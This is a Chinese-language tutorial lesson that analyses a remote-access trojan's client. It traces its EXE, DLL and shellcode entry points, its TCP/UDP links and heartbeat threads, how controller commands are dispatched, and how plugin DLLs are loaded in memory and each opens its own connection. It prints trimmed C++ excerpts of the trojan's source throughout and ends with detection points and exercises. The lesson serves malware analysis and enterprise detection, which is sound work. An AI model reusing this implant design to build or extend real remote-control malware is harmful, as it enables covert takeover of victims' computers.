20 / 52 插件与被控运行机制

第 20 课:被控线程结构与网络连接结构

# 第 20 课:被控线程结构与网络连接结构

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只从源码审计、线程建模、网络连接识别和企业检测角度解释被控端结构,不提供未授权使用、攻击复现、投递部署或规避检测步骤。

前面第 18 课讲了 shellcode 如何把上线模块带入运行期,第 19 课讲了五个生成选项如何进入配置。现在补一课专门看“被控启动后到底有几条线程、几条连接、哪些回调在接命令”。

这节课的核心结论是:

EXE / DLL / shellcode
  -> 上线模块 MainThread
  -> 请求并加载登录模块
  -> 登录模块 MainThread
  -> CLoginManager 接收基础命令
  -> 如果主控请求功能插件,再加载插件 DLL
  -> 插件导出 Main 创建插件自己的 MainThread
  -> 插件再建立一条新的 TCP/UDP 连接
1
2
3
4
5
6
7
8

因此,不启用功能插件时,重点看“上线连接 + 登录连接 + HPSocket 内部线程”;启用功能插件后,要额外看到“基础登录连接 + 插件独立连接”同时存在。

# 1. 本课学习目标

问题 本课回答
被控启动后最基础的线程结构是什么 EXE、DLL、shellcode 最终都汇入上线模块 MainThread
不启用插件时有几类连接 先有上线模块连接,再有登录模块长期连接,不再创建功能插件连接
TCP 和 UDP 内部线程有什么差异 TCP 主要是接收线程 + 心跳线程;UDP 还有内部工作线程、握手事件和心跳线程
CLoginManager 怎么收到主控命令 CManager::CManager 调用 setManagerCallBack(this),HPSocket 收完整包后回调 OnReceive
启用插件后为什么会多一条连接 登录模块加载插件 DLL 后调用插件导出 Main,插件自己的 MainThread 重新 Connect
企业侧应该看什么 线程入口、回调绑定、基础连接、插件连接、心跳、内存加载和注册表缓存

1. 本课学习目标(配图)

# 2. 涉及源码

文件 本课关注点
主插件\上线模块\上线模块\上线模块.cpp 多入口汇入上线模块 MainThread,建立上线连接并创建 CKernelManager
主插件\上线模块\上线模块\KernelManager.cpp 接收登录模块版本/数据,启动 Loop_DllManager 加载登录模块
主插件\登录模块\登录模块\登录模块.cpp 登录模块 MainThread,创建 CLoginManager、登录、激活和事件循环
主插件\登录模块\登录模块\LoginManager.cpp CLoginManager::OnReceive、插件请求、插件数据接收和 Loop_DllManager
主插件\HPSocket\Manager.cpp CManager::CManager 把 Manager 绑定到 socket 回调
主插件\HPSocket\TcpSocket.cpp TCP 接收线程、心跳线程、解包后回调 Manager
主插件\HPSocket\UdpSocket.cpp UDP 内部工作线程、握手事件、心跳线程、解包后回调 Manager
主插件\文件管理\文件管理\文件管理.cpp 典型功能插件导出 Main 后再创建插件连接

# 3. 基础线程结构:入口很多,主线只有一条

上线模块有 EXE 入口、DLL 入口、导出函数和 shellcode 调用的 load 入口。入口形式不同,但它们的归宿都是 MainThread

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:332-341
// 防御分析注释:
// 1. EXE 形态进入 _tmain 后先执行 Analyze,解析内嵌配置和可能的注册表覆盖。
// 2. 真正长期运行的逻辑不在 _tmain 里,而是 CreateThread 启动的 MainThread。
// 3. 企业侧看进程启动时,线程起始地址落在上线模块 MainThread 是第一层线索。
int _tmain(int argc, _TCHAR* argv[])
{
    Analyze();
    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:350-369
// 防御分析注释:
// 1. DLL 形态在 DLL_PROCESS_ATTACH 分支检查配置长度。
// 2. RunDllEntryProc 决定是否在 DLL 入口阶段启动 MainThread。
// 3. 在 DLL 入口中创建并等待长期线程,是主机侧可以关联的异常加载行为。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        if (lstrlen(confi) > 30)
        {
            Analyze();
            if (MyInfo.otherset.RunDllEntryProc)
                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
        }
    }
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:400-405
// 防御分析注释:
// 1. load(TCHAR* code) 是 shellcode 场景常见入口:外部把配置传入 code。
// 2. 该函数复制配置后仍然执行 Analyze,并创建同一个 MainThread。
// 3. 所以 EXE、DLL、shellcode 不应被看成三套行为模型,应统一归并到 MainThread。
extern "C" __declspec(dllexport) void load(TCHAR* code)
{
    memcpy(confi, code, lstrlen(code) * 2 + 2);
    Analyze();
    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
}
1
2
3
4
5
6
7
8
9
10
11

这就是被控端第一层结构:启动方式不同,最终都把配置交给上线模块,由上线模块建立第一条连接并请求登录模块。

# 4. 不启用功能插件时:上线连接与登录连接

不启用功能插件,不代表没有网络连接。基础结构至少包括两段:

阶段 连接角色 管理器 主要作用
上线模块阶段 第一段连接 CKernelManager 请求登录模块版本和数据,加载登录模块
登录模块阶段 长期基础连接 CLoginManager 上报登录信息,等待激活,接收基础命令、心跳和状态请求
功能插件阶段 不创建 没有文件、屏幕、音频等插件自己的连接

上线模块的 MainThread 会根据配置选择 TCP 或 UDP,然后创建 CKernelManager

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-255
// 防御分析注释:
// 1. ptcp 和 pudp 在 MainThread 中同时准备,真正使用哪一个由 IsTcp 字段决定。
// 2. Connect 成功后创建 CKernelManager,它继承 CManager,因此会绑定 socket 回调。
// 3. TOKEN_GETVERSION 是上线模块请求登录模块版本的起点。
// 4. run_event_loop 会等待 socket 层结束,不是业务层主动轮询命令。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    ISocketBase* socketClient = NULL;
    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
    if (!socketClient->Connect(szAddress, _ttoi(szPort)))
        continue;

    CKernelManager manager(socketClient, MyInfo.otherset.puppet);

    BYTE Token[2] = {};
    Token[0] = TOKEN_GETVERSION;
    socketClient->Send(Token, 2);
    socketClient->run_event_loop();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

登录模块被加载后,会进入自己的 MainThread。它不再请求登录模块,而是创建 CLoginManager,发送登录信息,等待主控返回激活令牌。

// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:181-298
// 防御分析注释:
// 1. 登录模块也会准备 CTcpSocket 和 CUdpSocket,再按 IsTcp 选择。
// 2. CLoginManager 保存当前连接地址、端口和协议,后续插件也会继承这些参数。
// 3. sendLoginInfo 是登录首包发送点,包含主机画像和运行状态信息。
// 4. manager.IsActived() 等待 TOKEN_ACTIVED;激活后进入 run_event_loop 接收后续命令。
DWORD WINAPI MainThread()
{
    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
    if (!socketClient->Connect(szAddress, _ttoi(szPort)))
        continue;

    CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp, MyInfo.otherset.special);

    if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
    {
        socketClient->Disconnect();
        continue;
    }

    for (int i = 0; (i < 10 && !manager.IsActived()); i++)
        Sleep(1000);

    if (!manager.IsActived())
    {
        socketClient->Disconnect();
        continue;
    }

    socketClient->run_event_loop();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

没有功能插件时,CLoginManager 仍然会接收基础命令。例如激活、心跳、状态上报、复制/转移客户等都在登录模块处理。区别在于不会进入“插件 DLL 加载后再开连接”的阶段。

# 5. CManager 如何把 socket 收包回调绑定到具体 Manager

这是理解命令如何到达 CLoginManager::OnReceive 的关键。

CLoginManagerCKernelManager 都继承自 CManager。构造具体 Manager 时,基类构造函数会把 this 注册到当前 socket。

// 源码位置:主插件\HPSocket\Manager.cpp:12-19
// 防御分析注释:
// 1. pClient 是当前 TCP 或 UDP socket 对象,类型通过 ISocketBase 抽象。
// 2. setManagerCallBack(this) 把当前 Manager 写入 socket 的 m_pManager。
// 3. 后续网络层解出完整业务包后,会调用 m_pManager->OnReceive。
// 4. 因此 CLoginManager::OnReceive 是网络回调触发,不是 MainThread 主动轮询。
CManager::CManager(ISocketBase* pClient)
{
    m_pClient = pClient;
    m_pClient->setManagerCallBack(this);
    m_hEventDlgOpen = CreateEventA(NULL, true, false, NULL);
    bStop = FALSE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13

TCP 和 UDP 都只是保存这个回调指针。

// 源码位置:主插件\HPSocket\TcpSocket.cpp:310-312
// 防御分析注释:
// 1. TCP socket 保存业务 Manager 指针。
// 2. 这里不区分是 CKernelManager、CLoginManager 还是某个插件 Manager。
// 3. 真正的业务分发由对应 Manager 的 OnReceive 实现决定。
void CTcpSocket::setManagerCallBack(CManager* pManager)
{
    m_pManager = pManager;
}
1
2
3
4
5
6
7
8
9
// 源码位置:主插件\HPSocket\UdpSocket.cpp:840-842
// 防御分析注释:
// 1. UDP socket 也保存同样的 Manager 指针。
// 2. 这让 TCP/UDP 在业务层看起来一致:完整包最终都会交给 OnReceive。
void CUdpSocket::setManagerCallBack(CManager* pManager)
{
    m_pManager = pManager;
}
1
2
3
4
5
6
7
8

解出完整包以后,socket 层才进入具体 Manager。

// 源码位置:主插件\HPSocket\TcpSocket.cpp:275-300
// 防御分析注释:
// 1. TCP OnReceive 先把 recv 得到的片段写入 m_CompressionBuffer。
// 2. 包头前 4 字节是长度,后面 10 字节和 m_password 比较。
// 3. 解出业务数据后调用 m_pManager->OnReceive,进入 CLoginManager 或 CKernelManager。
// 4. 企业侧可把固定包头、心跳和 Manager 回调作为协议侧关联特征。
bool CTcpSocket::OnReceive(const BYTE* pData, int iLength)
{
    m_CompressionBuffer.Write((LPBYTE)pData, iLength);
    if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
    {
        activetime = timeGetTime();
        m_DeCompressionBuffer.Write(m_CompressionBuffer.GetBuffer(14), nSize - 14, 1, m_password);
        m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
        m_CompressionBuffer.Delete(nSize);
    }
    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

UDP 的业务回调也是同一模式。

// 源码位置:主插件\HPSocket\UdpSocket.cpp:789-814
// 防御分析注释:
// 1. UDP 先通过 ARQ/KCP 类逻辑把数据组织成可靠消息,再进入 OnReceive。
// 2. 解包结构仍然是长度 + 10 字节校验字段 + 加密/压缩后的业务数据。
// 3. 业务层同样只看到 m_pManager->OnReceive,不直接关心底层 TCP/UDP 差异。
EnHandleResult CUdpSocket::OnReceive(CUdpSocket* pSender, const BYTE* pData, int iLength)
{
    m_CompressionBuffer.Write((LPBYTE)pData, iLength);
    if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
    {
        activetime = timeGetTime();
        m_DeCompressionBuffer.Write(m_CompressionBuffer.GetBuffer(14), nSize - 14, 1, m_password);
        m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
        m_CompressionBuffer.Delete(nSize);
    }
    return HR_OK;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 6. TCP 与 UDP 的内部线程差异

6. TCP 与 UDP 的内部线程差异(配图)

# 6.1 TCP:接收线程 + 心跳线程

TCP 连接成功后,CTcpSocket::Connect 创建两个线程:

  1. WorkThread:阻塞在 select/recv,收到数据后进入 CTcpSocket::OnReceive
  2. ThreadHeartbeat:周期发送 TOKEN_HEARTBEAT,并根据 activetime 判断连接是否失活。
// 源码位置:主插件\HPSocket\TcpSocket.cpp:120-123
// 防御分析注释:
// 1. m_hWorkerThread 是 TCP 接收线程,入口为 WorkThread。
// 2. m_hThreadHeartWorker 是 TCP 心跳线程,入口为 ThreadHeartbeat。
// 3. 看到同一连接旁边出现这两个线程,是识别 TCP 基础连接的重要结构线索。
InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
UINT dwThreadId = 0;
m_hWorkerThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, (CTcpSocket*)this, 0, &dwThreadId);
UINT nThreadID;
m_hThreadHeartWorker = (HANDLE)_beginthreadex(NULL, 0, ThreadHeartbeat, (void*)this, 0, &nThreadID);
1
2
3
4
5
6
7
8
9
10
// 源码位置:主插件\HPSocket\TcpSocket.cpp:129-166
// 防御分析注释:
// 1. WorkThread 等待 socket 可读,然后 recv 数据。
// 2. recv 到的数据还不是业务命令,要经过 CTcpSocket::OnReceive 拼包和解包。
// 3. Disconnect 会设置事件,run_event_loop 随后等待两个线程退出。
unsigned CTcpSocket::WorkThread(LPVOID lparam)
{
    CTcpSocket* pThis = reinterpret_cast<CTcpSocket*>(lparam);
    while (pThis->m_bIsRunning)
    {
        nRet = select(NULL, &fdRead, NULL, NULL, NULL);
        nSize = recv(pThis->m_Socket, buff, MAX_RECV_BUFFER, 0);
        if (nSize > 0)
            pThis->OnReceive((LPBYTE)buff, nSize);
    }
    return -1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 源码位置:主插件\HPSocket\TcpSocket.cpp:174-193
// 防御分析注释:
// 1. 心跳线程发送 TOKEN_HEARTBEAT,形成固定节奏的小包。
// 2. activetime 由收包逻辑更新,超过阈值会断开连接。
// 3. 检测时不要只看一条连接,还要把连接旁边的心跳线程和小包节奏关联起来。
unsigned CTcpSocket::ThreadHeartbeat(LPVOID thisContext)
{
    CTcpSocket* pThis = reinterpret_cast<CTcpSocket*>(thisContext);
    BYTE Token = TOKEN_HEARTBEAT;
    while (pThis->m_bIsRunning)
    {
        Sleep(10000);
        pThis->Send(&Token, 1);
        if (timeGetTime() - pThis->activetime > 60000)
            pThis->Disconnect();
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 6.2 UDP:内部工作线程 + 握手事件 + 心跳线程

UDP 不是简单 sendto/recvfrom。这里使用 ARQ/KCP 风格的可靠传输结构:Start 创建内部工作线程,工作线程等待 socket 事件、发送缓冲、停止事件和定时器事件。

// 源码位置:主插件\HPSocket\UdpSocket.cpp:44-52
// 防御分析注释:
// 1. ConnectToServer 成功后,Start 创建 m_hWorker 内部工作线程。
// 2. WorkerThreadProc 处理网络事件、发送队列、停止事件和 ARQ 定时检查。
// 3. 这条线程不是业务 Manager 线程,而是 UDP 可靠传输层的内部线程。
if (ConnectToServer(lpszRemoteAddress, usPort))
{
    m_hWorker = (HANDLE)_beginthreadex(nullptr, 0, WorkerThreadProc, (LPVOID)this, 0, &m_dwWorkerID);
    if (m_hWorker)
    {
        isOK = TRUE;
        m_evWait.Reset();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 源码位置:主插件\HPSocket\UdpSocket.cpp:143-204
// 防御分析注释:
// 1. WorkerThreadProc 使用 WSAWaitForMultipleEvents 等待多类事件。
// 2. 网络事件进入 ProcessNetworkEvent,数据发送进入 SendData,定时器进入 m_arqSession.Check。
// 3. 这解释了为什么 UDP 场景会比 TCP 多一层内部工作结构。
UINT WINAPI CUdpSocket::WorkerThreadProc(LPVOID pv)
{
    CUdpSocket* pClient = (CUdpSocket*)pv;
    ::SetWaitableTimer(pClient->m_hTimer, &pClient->lpDueTime, pClient->m_arqAttr.dwFlushInterval, nullptr, nullptr, FALSE);

    while (pClient->HasStarted())
    {
        DWORD retval = ::WSAWaitForMultipleEvents(dwSize, hEvents, FALSE, WSA_INFINITE, FALSE);
        if (retval == WSA_WAIT_EVENT_0)
            pClient->ProcessNetworkEvent();
        else if (retval == WSA_WAIT_EVENT_0 + 1)
            pClient->SendData();
        else if (retval == WSA_WAIT_EVENT_0 + 4)
            pClient->m_arqSession.Check();
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

UDP 连接还会等握手事件。OnHandShake 设置 m_hEvent_run 后,CUdpSocket::Connect 才创建心跳线程并返回连接成功。

// 源码位置:主插件\HPSocket\UdpSocket.cpp:652-679
// 防御分析注释:
// 1. Connect 调用 Start 后等待 m_hEvent_run,最长等待 6000 ms。
// 2. m_hEvent_run 由 OnHandShake 设置,表示 UDP 可靠通道握手完成。
// 3. 握手完成后才创建 ThreadHeartbeat,所以 UDP 连接结构是“工作线程 -> 握手 -> 心跳线程”。
bool CUdpSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
    BOOL ret = Start(lpszHost, nPort);
    DWORD dw = WaitForSingleObject(m_hEvent_run, 6000);

    if (dw == WAIT_OBJECT_0)
    {
        InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
        m_hThreadHeartWorker = (HANDLE)_beginthreadex(NULL, 0, ThreadHeartbeat, (void*)this, 0, &nThreadID);
        return true;
    }
    return false;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\HPSocket\UdpSocket.cpp:823-827
// 防御分析注释:
// 1. OnHandShake 是 UDP 连接从底层建立进入业务可用状态的边界。
// 2. 它设置 m_hEvent_run,让 Connect 继续创建心跳线程。
// 3. 企业侧做线程时间线时,可把 UDP 工作线程、握手事件和心跳线程分开标注。
EnHandleResult CUdpSocket::OnHandShake(CUdpSocket* pSender, CONNID dwConnID)
{
    SetEvent(m_hEvent_run);
    InterlockedExchange((LPLONG)&m_bIsRunning, TRUE);
    return HR_OK;
}
1
2
3
4
5
6
7
8
9
10
11

# 7. CLoginManager::OnReceive 如何接收主控命令

登录模块连接建立并激活后,主控命令会通过 HPSocket 解包回调进入 CLoginManager::OnReceive。基础命令和插件命令都从这里分流。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:213-242
// 防御分析注释:
// 1. lpBuffer[0] 是登录模块看到的命令或令牌。
// 2. TOKEN_ACTIVED 表示基础登录连接被主控确认,随后会请求自动插件信息。
// 3. COMMAND_DLLMAIN 是功能插件加载链的入口,但是否继续加载取决于主控是否下发插件请求。
void CLoginManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    case TOKEN_ACTIVED:
    {
        if (m_bIsActived) return;
        InterlockedExchange((LONG*)&m_bIsActived, TRUE);
        BYTE lpPacket = TOKEN_GETAUTODLL;
        Send((LPBYTE)&lpPacket, 1);
    }
    break;

    case COMMAND_DLLMAIN:
    {
        // 插件元数据处理逻辑,后续可能进入 Loop_DllManager。
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

心跳也会进入同一个 OnReceive,只是分支不同。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:641-648
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 到达 CLoginManager 后会触发 SendCondition。
// 2. 这说明心跳不是单纯保活,也可能带动状态上报。
// 3. 检测时应把心跳小包和随后的状态采集/发送关联起来,而不是孤立看网络包。
case TOKEN_HEARTBEAT:
{
    if (lpBuffer[1] == 0)
        SendCondition(false);
    else
        SendCondition(true);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13

# 8. 启用插件时:基础连接 + 插件连接

8. 启用插件时:基础连接 + 插件连接(配图)

主控请求功能插件后,登录模块不会直接在基础连接里执行所有功能。它会加载插件 DLL,调用插件导出 Main,插件再创建自己的 MainThread 和自己的 socket 连接。

插件元数据分支 COMMAND_DLLMAIN 的关键点是:如果本地已有插件数据,就直接启动 Loop_DllManager;如果没有,就发送 TOKEN_SENDLL 请求插件数据。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:242-308
// 防御分析注释:
// 1. COMMAND_DLLMAIN 表示主控正在请求某个功能插件。
// 2. 已缓存插件会直接启动 Loop_DllManager;未缓存插件会请求 COMMAND_SENDLL 对应的数据。
// 3. 这里的重点不是如何获得插件,而是“基础登录连接开始触发插件加载链”。
case COMMAND_DLLMAIN:
{
    DllSendData* pDllSendData = new DllSendData;
    ::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));

    for (std::vector<DllData*>::iterator it = g_vecDllDatas.begin(); it != g_vecDllDatas.end(); )
    {
        if (_tcscmp((*it)->m_sendDllData->szDllName, pDllSendData->szDllName) == 0)
        {
            (*it)->m_strMasterHost = m_strMasterHost;
            (*it)->m_nMasterPort = m_nMasterPort;
            (*it)->m_bIsTcp = m_bIsTcp;
            (*it)->m_CLoginManager = this;

            HANDLE hWorker = (HANDLE)_beginthreadex(NULL, 0, Loop_DllManager, (void*)(*it), 0, NULL);
            CloseHandle(hWorker);
            return;
        }
        ++it;
    }

    lpBuffer = new BYTE[sizeof(DllSendData) + 1];
    lpBuffer[0] = TOKEN_SENDLL;
    Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

收到插件数据后,登录模块把插件数据放进内存结构和注册表缓存,然后启动 Loop_DllManager

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:314-364
// 防御分析注释:
// 1. COMMAND_SENDLL 的数据来自基础登录连接。
// 2. dllDataSize 决定后续内存分配和拷贝大小,是稳定性和安全风险点。
// 3. pDllData 保存插件二进制数据、插件元数据和当前基础连接上下文。
// 4. Loop_DllManager 是插件 DLL 进入内存加载和导出 Main 调用的边界。
case COMMAND_SENDLL:
{
    DllSendData* temp = new DllSendData;
    ::memcpy(temp, lpBuffer + 1, sizeof(DllSendData));

    BYTE* pPluginDllShellcodeData = new BYTE[temp->dllDataSize];
    ::memcpy(pPluginDllShellcodeData, lpBuffer + 1 + sizeof(DllSendData), temp->dllDataSize);

    DllData* pDllData = new DllData;
    pDllData->m_sendDllData = temp;
    pDllData->m_pDllData = pPluginDllShellcodeData;
    pDllData->m_strMasterHost = m_strMasterHost;
    pDllData->m_nMasterPort = m_nMasterPort;
    pDllData->m_bIsTcp = m_bIsTcp;
    pDllData->m_CLoginManager = this;

    HANDLE hWorker = (HANDLE)_beginthreadex(NULL, 0, Loop_DllManager, (void*)pDllData, 0, NULL);
    CloseHandle(hWorker);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

Loop_DllManager 负责内存加载插件 DLL,并查找导出函数 Main

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:11-43
// 防御分析注释:
// 1. pDllData->m_pDllData 是插件 DLL 数据,来源于缓存或 COMMAND_SENDLL。
// 2. Release 分支使用 MemoryLoadLibrary 做内存 PE 加载。
// 3. MemoryGetProcAddress 查找导出函数 Main。
// 4. 调用 Main 时传入基础登录连接的 ip、port、istcp,但插件会自己再建新连接。
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
    DllData* pDllData = (DllData*)pVoid;
    typedef void (*DLLMain)(TCHAR* ip, DWORD port, BOOL istcp, BOOL RunDllEntryProc);
    DLLMain lpproc;

    HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
        pDllData->m_pDllData,
        pDllData->m_sendDllData->dllDataSize);

    lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
    if (lpproc != NULL)
    {
        (*lpproc)(
            pDllData->m_strMasterHost,
            pDllData->m_nMasterPort,
            pDllData->m_bIsTcp,
            false);
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

这一步之后,结构就从“只有基础登录连接”变成“基础登录连接 + 插件连接”。

8. 启用插件时:基础连接 + 插件连接(配图)

# 9. 典型插件入口:插件 Main 再创建一条连接

以文件管理插件为例,登录模块调用它的导出 Main 后,它把传入的地址、端口和协议写入自己的 MyInfo,再创建插件自己的 MainThread

// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:167-174
// 防御分析注释:
// 1. Main 是登录模块 Loop_DllManager 查找并调用的插件导出函数。
// 2. ip、port、IsTcp 来自登录模块基础连接上下文。
// 3. 插件没有复用 CLoginManager 的 socket,而是创建自己的 MainThread。
// 4. 因此插件启用后,企业侧会看到同一进程内新增一条插件连接。
extern "C" __declspec(dllexport) bool Main(TCHAR* ip, DWORD port, BOOL IsTcp, BOOL RunDllEntryProc)
{
    _tcscpy_s(MyInfo.szAddress, ip);
    MyInfo.szPort = port;
    MyInfo.IsTcp = IsTcp;
    MyInfo.RunDllEntryProc = RunDllEntryProc;
    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

插件 MainThread 再根据协议创建新的 socket,连接成功后创建自己的功能 Manager。

// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:27-38
// 防御分析注释:
// 1. 插件 MainThread 根据 MyInfo.IsTcp 重新选择 CTcpSocket 或 CUdpSocket。
// 2. Connect 是插件自己的连接,不是登录模块 CLoginManager 的基础连接。
// 3. CFileManager 继承 CManager,构造时也会把自己绑定到新 socket 的回调。
// 4. 所以每个功能插件都有“插件 socket -> 插件 Manager -> 插件 OnReceive”的独立链路。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CFileManager manager(socketClient);
        socketClient->run_event_loop();
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

这就是为什么打开文件管理、系统管理、屏幕类、音频类等功能时,不能只盯着登录模块那条连接。基础连接负责登录、激活、插件调度和状态;插件连接负责具体功能的数据交互。

# 10. 三种结构放在一起看

场景 线程结构 连接结构 Manager
上线模块阶段 上线 MainThread + TCP/UDP 内部线程 第一段上线连接 CKernelManager
不启用功能插件 登录 MainThread + TCP/UDP 内部线程 登录基础连接 CLoginManager
启用功能插件 登录线程仍在,插件新增 MainThread + 内部线程 基础连接 + 插件连接 CLoginManager + 插件 Manager

从防御分析角度,最重要的是把连接角色分清楚:

  1. 上线连接:用于请求和加载登录模块,通常更靠近启动阶段。
  2. 登录基础连接:用于主机画像、激活、心跳、状态和插件调度。
  3. 插件连接:由插件导出 Main 创建,用于具体功能插件的数据流。

# 11. 企业检测点

观察面 检测点 关联方式
线程 MainThreadWorkThreadThreadHeartbeatWorkerThreadProcLoop_DllManager 关联模块加载时间、线程起始地址和网络连接建立时间
网络 上线连接、登录基础连接、插件新增连接 观察同一进程内连接数量、协议、目标一致性和时间顺序
回调 setManagerCallBack(this) 后的 m_pManager->OnReceive 还原“socket 收包 -> Manager 分发”的真实命令入口
TCP recv -> CTcpSocket::OnReceive -> Manager::OnReceive 结合固定包头、心跳小包和连接超时断开
UDP WorkerThreadProc -> OnHandShake -> ThreadHeartbeat -> CUdpSocket::OnReceive 区分 UDP 内部工作线程、握手事件和业务回调
插件加载 COMMAND_DLLMAINCOMMAND_SENDLLMemoryLoadLibraryMemoryGetProcAddress("Main") 关联注册表缓存、内存 PE、插件线程和新增插件连接
注册表 HKCU\Console\0/1 插件缓存和 IpDate 类配置覆盖 与网络下载、内存加载和连接目标变化放在同一时间线

一个稳定的企业侧判断思路是:不要只用单个 IP、单个线程或单个 API 下结论,而是把“入口线程、socket 回调、心跳、登录激活、插件加载、新增连接”串成时序证据。

# 12. 合法练习题

  1. 只做静态阅读:把 上线模块.cpp_tmainDllMainloadrunMainThread 的路径画出来。
  2. 对照 TcpSocket.cppUdpSocket.cpp,列出 TCP 与 UDP 在线程、握手和心跳上的差异。
  3. 阅读 Manager.cpp,说明 setManagerCallBack(this) 为什么是理解 CLoginManager::OnReceive 的关键。
  4. 不运行任何样本:从 LoginManager.cpp 中整理 TOKEN_ACTIVED -> TOKEN_GETAUTODLL -> COMMAND_DLLMAIN -> Loop_DllManager 的调用链。
  5. 文件管理.cpp 为例,说明插件导出 Main 为什么会导致新增一条插件连接。
  6. 站在企业检测角度,写一段时序描述:同一进程从登录基础连接发展到插件连接时,主机和网络日志应如何关联。

# 13. 本课小结

被控端不是一条简单连接。启动入口先汇入上线模块 MainThread,上线模块建立第一段连接并加载登录模块;登录模块再建立长期基础连接,由 CLoginManager 通过 socket 回调接收命令;当主控请求功能插件时,CLoginManager::OnReceive 触发 Loop_DllManager,插件 DLL 被加载后调用导出 Main,插件自己的 MainThread 又创建新的 TCP/UDP 连接。

把这条结构看清楚,后面读第 21 课上线模块、第 22 课登录模块和各功能插件时,就能区分“基础连接”和“插件连接”,也能把线程、心跳、回调、内存加载和网络行为串成企业侧可验证的证据链。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>